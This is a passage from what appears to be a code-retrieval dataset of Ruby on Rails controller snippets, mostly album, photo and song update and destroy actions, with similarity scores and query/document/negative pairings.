format.html { render action: 'edit', alert: base + @album.errors.full_messages.to_sentence + '.' }\n format.json { render json: { errors: @album.errors, status: :unprocessable_entity } }\n end\n end\n end", "def update\n authorize! :update, @album\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to edit_admin_album_path(@album.id), notice: 'Album was successfully updated.' }\n format.json { render :show, status: :ok, location: @album }\n else\n format.html { render :edit }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n \n respond_to do |format|\n if @album.update_attributes(params[:album])\n @album.images.clear\n @album.images << Image.find([params[:images]].flatten)\n @album.save!\n format.html { redirect_to(albums_path, :notice => 'Album was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @user_album = UserAlbum.find(params[:id])\n\n respond_to do |format|\n if @user_album.update_attributes(params[:user_album])\n format.html { redirect_to @user_album, notice: 'User album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @albumone.update(albumone_params)\n format.html { redirect_to @albumone, notice: 'Albumone was successfully updated.' }\n format.json { render :show, status: :ok, location: @albumone }\n else\n format.html { render :edit }\n format.json { render json: @albumone.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @galleries_album.update(galleries_album_params)\n format.html { redirect_to @galleries_album, notice: 'Album was successfully updated.' }\n format.json { render :show, status: :ok, location: @galleries_album }\n else\n format.html { render :edit }\n format.json { render json: @galleries_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to band_albums_path(@album.band.id), notice: 'Album was successfully updated.' }\n format.json { render :show, status: :ok, location: @album }\n else\n format.html { render :edit }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to @album, notice: 'ใ‚ขใƒซใƒใƒ ๆƒ…ๅ ฑใ‚’ๆ›ดๆ–ฐใ—ใพใ—ใŸใ€‚' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album_photo.update(album_photo_params)\n format.html { redirect_to @album_photo, notice: 'Album photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @album_photo }\n else\n format.html { render :edit }\n format.json { render json: @album_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n format.html { redirect_to(@album, :notice => 'Album was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n ActiveRecord::Base.transaction do\n @album.update!(name: params[:name])\n @album.album_images.destroy_all\n # ็”ปๅƒ็™ป้Œฒๆ•ฐใŒๅคšใใชใ‚‹UIใซใชใฃใŸใ‚‰SQLใฎ่ฒ ่ทใ‚’ๆธ›ใ‚‰ใ™ใŸใ‚ใซactiverecord-importใ‚’ๅ…ฅใ‚Œใ‚‹\n # https://github.com/zdennis/activerecord-import\n params[:urls].each do |image_url|\n AlbumImage.create!(album_id: @album.id, url: image_url)\n end\n end\n\n render json: @album\n end", "def update\n respond_to do |format|\n if @private_album.update(private_album_params)\n format.html { redirect_to @private_album, notice: 'Private album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @private_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def album\n album = Album.find(params[:id])\n render json: album\n end", "def update\n respond_to do |format|\n if @item_album.update(item_album_params)\n format.html { redirect_to @item_album, notice: 'Item album was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_album }\n else\n format.html { render :edit }\n format.json { render json: @item_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = current_user\n @customer = @user.customers.find(params[:customer_id])\n @album = @customer.albums.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to user_customer_album_photos_url(@user, @customer, @album), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n format.html { redirect_to @album, notice: 'Albumi uuendamine รตnnestus' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find_by_id_and_user_id(params[:id], @user)\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n flash[:notice] = 'Album was successfully updated.'\n format.html { redirect_to user_albums_path(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n flash[:notice] = 'Album was successfully updated.'\n format.html { redirect_to(@album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n flash[:notice] = 'Album was successfully updated.'\n format.html { redirect_to(@album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize @album\n if @album.update(album_params)\n redirect_to @album, notice: 'Album was successfully updated.'\n else\n render :edit\n end\n end", "def update\n @track_file = TrackFile.find(params[:id])\n\n if @track_file.update(track_file_params)\n @album = Album.find(@track_file.track.album.id)\n render json: @album\n else\n render json: @track_file.errors.full_messages, status: 422\n end\n end", "def update\n respond_to do |format|\n if @song.update(song_params)\n album_id = params[\"album\"]\n \n if not album_id.nil?\n album = Album.find_by(id: album_id)\n if not album.nil?\n album.songs << @song\n album.save\n\n artist = album.artist\n\n if not artist.nil?\n artist_id = artist.id\n if not artist_id.nil?\n artist.songs << @song\n artist.save\n end\n end\n end\n end\n \n format.html { redirect_to @song, notice: 'Song was successfully updated.' }\n format.json { render :show, status: :ok, location: @song }\n else\n format.html { render :edit }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_album(person_id,album_id, caption, location='', privacy='Everyone')\n @restv9.update_album(person_id,album_id, caption, location, privacy)\n end", "def update\n @album = Album.find(params[:id])\n\n if @album.update(album_params)\n flash[:success] = \"Album updated!\"\n redirect_to albums_path\n else\n render 'edit'\n end\n end", "def update\n \n @album = @user.albums.find(params[:id])\n respond_to do |format|\n format.js { render 'new' }\n format.html{\n if @album.update_attributes params[:album]\n @album.avatar.reprocess!\n flash[:notice] = 'User was successfully updated.'\n if params[:album][:avatar].blank?\n redirect_to @album\n else\n \n render :action => 'cropping'\n end\n else\n render :action => \"edit\"\n end}\n end\n end", "def update\n respond_to do |format|\n if @albumsix.update(albumsix_params)\n format.html { redirect_to @albumsix, notice: 'Albumsix was successfully updated.' }\n format.json { render :show, status: :ok, location: @albumsix }\n else\n format.html { render :edit }\n format.json { render json: @albumsix.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo_album = PhotoAlbum.find(params[:id])\n\n respond_to do |format|\n if @photo_album.update_attributes(params[:photo_album])\n flash[:notice] = 'PhotoAlbum was successfully updated.'\n format.html { redirect_to(user_photo_albums_url(current_user)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo_album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n expire_fragment :action_suffix => 'homepage_albums'\n flash[:notice] = 'Album was successfully updated.'\n format.html { redirect_to(@album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n if @album.update(album_params)\n flash[:success] = 'Album updated successfully.'\n path = albums_path\n else\n flash[:error] = 'Problem updating album.'\n path = root_path\n end\n redirect_to path\n end", "def update\n @albumm = Albumm.find(params[:id])\n\n respond_to do |format|\n if @albumm.update_attributes(params[:albumm])\n format.html { redirect_to @albumm, notice: 'Albumm was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @albumm.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = @allbum.photos.find(params[:id])\n#\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to edit_allbum_photos_path(@allbum,@photo), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_back fallback_location: @photo.album, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album_item = AlbumItem.find(params[:id])\n\n respond_to do |format|\n if @album_item.update_attributes(params[:album_item])\n format.html { redirect_to @album_item, notice: 'Album item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album_owned = AlbumOwned.find(params[:id])\n\n respond_to do |format|\n if @album_owned.update_attributes(params[:album_owned])\n format.html { redirect_to @album_owned, notice: 'Album owned was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album_owned.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo_album = PhotoAlbum.find(params[:id])\n\n respond_to do |format|\n if @photo_album.update_attributes(params[:photo_album])\n flash[:notice] = 'PhotoAlbum was successfully updated.'\n format.html { redirect_to(@photo_album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo_album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to [@photo.album, @photo], notice: 'ๅ†™็œŸๆƒ…ๅ ฑใ‚’ๅค‰ๆ›ดใ—ใพใ—ใŸใ€‚' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @photo_album.update_attributes(params[:photo_album])\n flash[:notice] = 'PhotoAlbum was successfully updated.'\n format.html { redirect_to(@photo_album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo_album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @albumfife.update(albumfife_params)\n format.html { redirect_to @albumfife, notice: 'Albumfive was successfully updated.' }\n format.json { render :show, status: :ok, location: @albumfife }\n else\n format.html { render :edit }\n format.json { render json: @albumfife.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if current_user\n if current_user.role == \"admin\"\n \n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n format.html { redirect_to @album, flash: {success: \"Gratulacje! Zaktualizowano album '#{@album.tytul}\"}}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n \n else\n \tredirect_to root_url, flash: {error: t('errors.messages.permissions')}\n end\n else\n redirect_to :login, flash: {notice: t('errors.messages.login_to_see')}\n end\n end", "def update\n respond_to do |format|\n if @interior_album.update(interior_album_params)\n format.html { redirect_to @interior_album, notice: 'Interior design album was successfully updated.' }\n format.json { render :show, status: :ok, location: @interior_album }\n else\n format.html { render :edit }\n format.json { render json: @interior_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n album_artists\n album_cover if params[:search_online]\n\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { render :show, status: :ok, location: @album }\n format.xml { render xml: @album, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n format.xml { render xml: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @song\n\n respond_to do |format|\n if @song.update(song_params)\n format.html { redirect_to user_album_path(@user, @album), notice: 'Song was successfully updated!' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @album.update(album_params)\n redirect_to @album, notice: 'ะะปัŒะฑะพะผ ัƒัะฟะตัˆะฝะพ ะธะทะผะตะฝั‘ะฝ.'\n else\n render :edit\n end\n end", "def update\n respond_to do |format|\n if @album_information.update(album_information_params)\n format.html { redirect_to @album_information, notice: 'Album information was successfully updated.' }\n format.json { render :show, status: :ok, location: @album_information }\n else\n format.html { render :edit }\n format.json { render json: @album_information.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n \n respond_to do |format|\n updated_params = song_params\n if (@song.artist != song_params[:artist] || @song.songname != song_params[:songname])\n uri = 'http://developer.echonest.com/api/v4/song/search?api_key=6XUOAXHJOW28GGGRH&format=json&results=1&artist=' + Rack::Utils.escape(song_params[:artist]) + '&title=' + Rack::Utils.escape(song_params[:songname]) + '&bucket=audio_summary'\n result = open(uri).read\n parsed = JSON.parse(result)\n if parsed[\"response\"][\"songs\"].length > 0\n updated_params[:bpm] = parsed[\"response\"][\"songs\"][0][\"audio_summary\"][\"tempo\"]\n updated_params[:key] = parsed[\"response\"][\"songs\"][0][\"audio_summary\"][\"key\"]\n notice = \"Song found on EchoNest!\"\n else\n notice = \"Could not find updated song on EchoNest.\"\n end\n \n end\n if @song.update(updated_params)\n format.html { redirect_to @song, notice: \"#{notice} #{updated_params} \" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_photo(album_id, photo_id, file, filename)\n \n end", "def update\n respond_to do |format|\n if @albumseven.update(albumseven_params)\n format.html { redirect_to @albumseven, notice: 'Albumseven was successfully updated.' }\n format.json { render :show, status: :ok, location: @albumseven }\n else\n format.html { render :edit }\n format.json { render json: @albumseven.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n puts y params['photo'].keys\n params['photo'].keys.each do |photo_id|\n photo = Photo.find(photo_id)\n photo.update_attributes(params['photo'][photo_id])\n end\n respond_to do |format|\n if true \n format.html { redirect_to photos_path, notice: 'Photos were successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"index\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find( params[:id])\n if @photo.update_attributes(params[:photo])\n flash[:notice] = \"Photo updated!\"\n if params[:bucket_id]\n redirect_to bucket_album_photo_path( params[:bucket_id], params[:album_id], @photo )\n elsif params[:album_id]\n redirect_to album_photo_path( params[:album_id], @photo )\n else\n redirect_to @photo\n end\n else\n render :action => :edit\n end\n end", "def update\n @album2photo = Album2photo.find(params[:id])\n\n respond_to do |format|\n if @album2photo.update_attributes(params[:album2photo])\n format.html { redirect_to @album2photo, notice: 'Album2photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album2photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "def update\n\n artist_id = update_artist_exist_or_new(params[:artist_name])\n\n album_id = update_album_exist_or_new(params[:album_name], params[:genre], artist_id)\n\n respond_to do |format|\n\n @song.album_id = album_id\n a = @song.album\n a.artist_id = artist_id\n a.save\n\n if @song.update(song_params)\n format.html { redirect_to @song, notice: 'Song was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n #flash[:notice] = 'Article was successfully updated.'\n format.html { redirect_to :album=>@album, :action=>\"edit\", :id=>@album.album_id }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @photoalbum = Photoalbum.find(params[:id])\n\n respond_to do |format|\n if @photoalbum.update_attributes(params[:photoalbum], :as => (current_user.admin? ? :admin : :default))\n format.html { redirect_to @photoalbum, notice: 'Photoalbum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photoalbum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def edit\n @album = Album.find(params[:id])\n render :edit\nend", "def update\n @gallery = Gallery.find(params[:gallery_id])\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to gallery_path(@photo.gallery), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @image = @album.images.find(params[:id])\n @image.update(image_params)\n redirect_to album_path(@image.album.id)\n end", "def update \n @song = Song.find_by(id: params[:id])\n if @song.update(song_params)\n \n render 'api/songs/show'\n else\n # debugger\n render json: @song.errors.full_messages, status: 401\n end\n end", "def update\n @gallery = Gallery.find(params[:id])\n @gallery.update_attributes(params[:gallery])\n respond_with(@gallery, :status => :updated)\n end", "def update\n @picture = @album.pictures.find(params[:id]) #JRD111115\n\n respond_to do |format|\n if @album.pictures.find(params[:id]).update_attributes(picture_params)\n format.html { redirect_to album_pictures_url(@album), notice: 'Picture was successfully updated.' }\n format.json { render :show, status: :ok, location: @album.picture }\n else\n format.html { render :edit }\n format.json { render json: @album.picture.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\r\n \r\n unless request.xhr? || params[:c] == \"true\"\r\n o_name = @album.name\r\n @album.name = params[:album_name]\r\n @album.description = params[:album_description]\r\n end\r\n \r\n # validate the cover photo\r\n cover_photo_changed = false\r\n old_cover_photo_id = @album.cover_photo_id\r\n @album.cover_photo_id = params[:album_cover_photo_id]\r\n if @album.cover_photo_id && @album.cover_photo_id != old_cover_photo_id\r\n photo = @album.cover_photo\r\n if photo && photo.album_id == @album.id\r\n @cover_photo = photo\r\n cover_photo_changed = true\r\n else\r\n @album.cover_photo_id = old_cover_photo_id\r\n end\r\n end\r\n \r\n if @album.save\r\n @album.set_cover_photo_cache(@cover_photo) if cover_photo_changed\r\n flash.now[:message] = \"ๅทฒๆˆๅŠŸไฟๅญ˜\"\r\n else\r\n flash.now[:error_msg] = \"ๆ“ไฝœๅคฑ่ดฅ, ๅ†่ฏ•ไธ€ๆฌกๅง\"\r\n @old_name = o_name\r\n end\r\n \r\n render(:action => \"edit\")\r\n end", "def update\n respond_to do |format|\n if @favorite_album.update(favorite_album_params)\n format.html { redirect_to @favorite_album, notice: 'Favorite album was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_album }\n else\n format.html { render :edit }\n format.json { render json: @favorite_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_radios_for_array(args = {}) \n put(\"/radios.json/#{args[:arrayId]}\", args)\nend", "def set_album\n begin\n @album = Album.find(params[:id])\n rescue ActiveRecord::RecordNotFound => e\n render :json => {error: 'record not found'}, status: :not_found\n end\n end", "def update\n @photo = current_user.photos.find_by_id(params[:id])\n if @photo.nil?\n render json: {error: 'foto no encontrada'}, status: :not_found\n elsif @photo.update(photo_params)\n render json: @photo\n else\n render json: @photo.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @song.update(song_params)\n format.html { redirect_to artist_album_song_url(@artist,@album,@song), notice: 'song was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n animal = Animal.find(params[:id])\n\n if validate_params(animal_params)\n animal.update(animal_params)\n render json: animal, status: 200, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end", "def updateartists\n @album = Album.find(params[:id])\n album_param = params[:albums]\n @album.artists.delete_all \n album_param[:artists].each do |artist_id|\n artist = Artist.find(artist_id)\n @album.artists << artist \n end \n respond_to do |format|\n format.html { redirect_to(:action => :show) }\n format.xml { head :ok }\n end \n end", "def update\n @foto_album = FotoAlbum.find(params[:id])\n\n respond_to do |format|\n if @foto_album.update_attributes(params[:foto_album])\n flash[:notice] = 'ะคะพั‚ะพะฐะปัŒะฑะพะผ ัƒัะฟะตัˆะฝะพ ะพะฑะฝะพะฒะปะตะฝ.'\n format.html { redirect_to(@foto_album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @foto_album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n flash[:notice] = 'Photo was successfully updated.'\n format.html { redirect_to user_album_photos_url(@user, @album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album_follow.update(album_follow_params)\n format.html { redirect_to @album_follow, notice: 'Album follow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @album_follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_description\n @album = Album.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n @photo.description = params[:description]\n @photo.save()\n render :json => @photo\n end", "def update\n respond_to do |format|\n if @album_listing.update(album_listing_params)\n format.html { redirect_to @album_listing, notice: 'Album listing was successfully updated.' }\n format.json { render :show, status: :ok, location: @album_listing }\n else\n format.html { render :edit }\n format.json { render json: @album_listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def album=(v)\n if @album != v\n @needs_commit = true\n @album = v\n end\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end" ]
[ "0.6955096", "0.67836237", "0.67753136", "0.677528", "0.67684835", "0.67597175", "0.67597175", "0.6732082", "0.6732082", "0.6732082", "0.6701589", "0.6701589", "0.6701589", "0.6662536", "0.6628176", "0.65705246", "0.65516347", "0.65429837", "0.6537242", "0.6532796", "0.6501009", "0.64921004", "0.64388597", "0.64261717", "0.6410329", "0.63939947", "0.6393366", "0.63494825", "0.63427806", "0.6295601", "0.62313855", "0.6222294", "0.6203181", "0.61980957", "0.6194863", "0.61940545", "0.61863714", "0.61787564", "0.61787564", "0.6173303", "0.616422", "0.61574787", "0.61565584", "0.6144641", "0.613185", "0.60944843", "0.60853505", "0.6077902", "0.6070008", "0.6066555", "0.60539335", "0.6038376", "0.60362256", "0.6032389", "0.60322857", "0.60186124", "0.601154", "0.59924346", "0.5976665", "0.59629476", "0.59579116", "0.59508294", "0.5938568", "0.593716", "0.5936466", "0.5936088", "0.593079", "0.59286433", "0.5913096", "0.5903492", "0.5892077", "0.5879443", "0.5876797", "0.5870148", "0.5867494", "0.58623886", "0.5854405", "0.5834038", "0.58185023", "0.58150023", "0.580449", "0.5796548", "0.57928824", "0.5784567", "0.5784542", "0.577121", "0.57672936", "0.57669204", "0.5755018", "0.5754043", "0.5752638", "0.5741964", "0.5740639", "0.57250655", "0.57174677", "0.57046163", "0.5689662", "0.5677614", "0.56725574", "0.56725574", "0.56725574" ]
0.0
-1
DELETE /albums/1 DELETE /albums/1.json
def destroy @album.multiuploads.each do |multiupload| multiupload.destroy end destroy_all_comments_likes_activities_and_responses_of_obj(@album) # destroy responses # Response.where(acted_upon_type: "Album", acted_upon_id: @album.id).each do |album_response| # album_response.destroy # end # #destroy activities # Activity.where(acted_upon_type: "Album", acted_upon_id: @album.id).each do |album_activity| # album_activity.destroy # end #destroy comments # Comment.where(commentable_type: 'Album', commentable_id: @album.id).each do |album_comment| # Like.where(likeable_type: 'Comment', likeable_id: album_comment.id).each do |comment_likes| # comment_likes.destroy # end # Response.where(acted_upon_type: "Comment", acted_upon_id: album_comment.id).each do |comment_response| # comment_response.destroy # end # # if album_comment.has_children? # album_comment.children.each do |child| # child.destroy # end # end # album_comment.destroy # end #destroy likes # Like.where(likeable_type: 'Album', likeable_id: @album.id).each do |album_likes| # album_likes.destroy # end # destroy_activity(@album.class.name, @album.id, 'create') # destroy_activity(@album.class.name, @album.id, 'like') @album.destroy # respond_to do |format| # format.html { redirect_to albums_url } # format.json { head :no_content } # end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n\n @album = @user.albums.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n render json: @album\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :ok }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album = current_user.albums.find(params[:id])\n @Album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @albums = Album.all\n @album = Album.find(params[:id])\n @album.destroy\n \n respond_to do |format|\n format.html { redirect_to albums_url, notice: 'Album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { render json: { status: 200 } }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n \t@album = Album.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to albums_url }\n format.json { head :ok }\n end\n end", "def destroy\n @album = current_account.albums.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to(albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_album = UserAlbum.find(params[:id])\n @user_album.destroy\n\n respond_to do |format|\n format.html { redirect_to user_albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photoalbum = Photoalbum.find(params[:id])\n @photoalbum.destroy\n\n respond_to do |format|\n format.html { redirect_to photoalbums_url }\n format.json { head :ok }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url, notice: 'Album erfolgreich gelรถscht.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url, notice: 'Album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url, notice: 'Album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url, notice: 'Album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url, notice: 'Album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url, notice: 'Album was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url, notice: \"Album was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @album.destroy\n respond_to do |format|\n format.html { redirect_to albums_url, notice: 'El album a sido removido satisfactoriamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to(albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n @album.destroy\n\n respond_to do |format|\n format.html { redirect_to(albums_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @album = Album.find(params[:id])\n 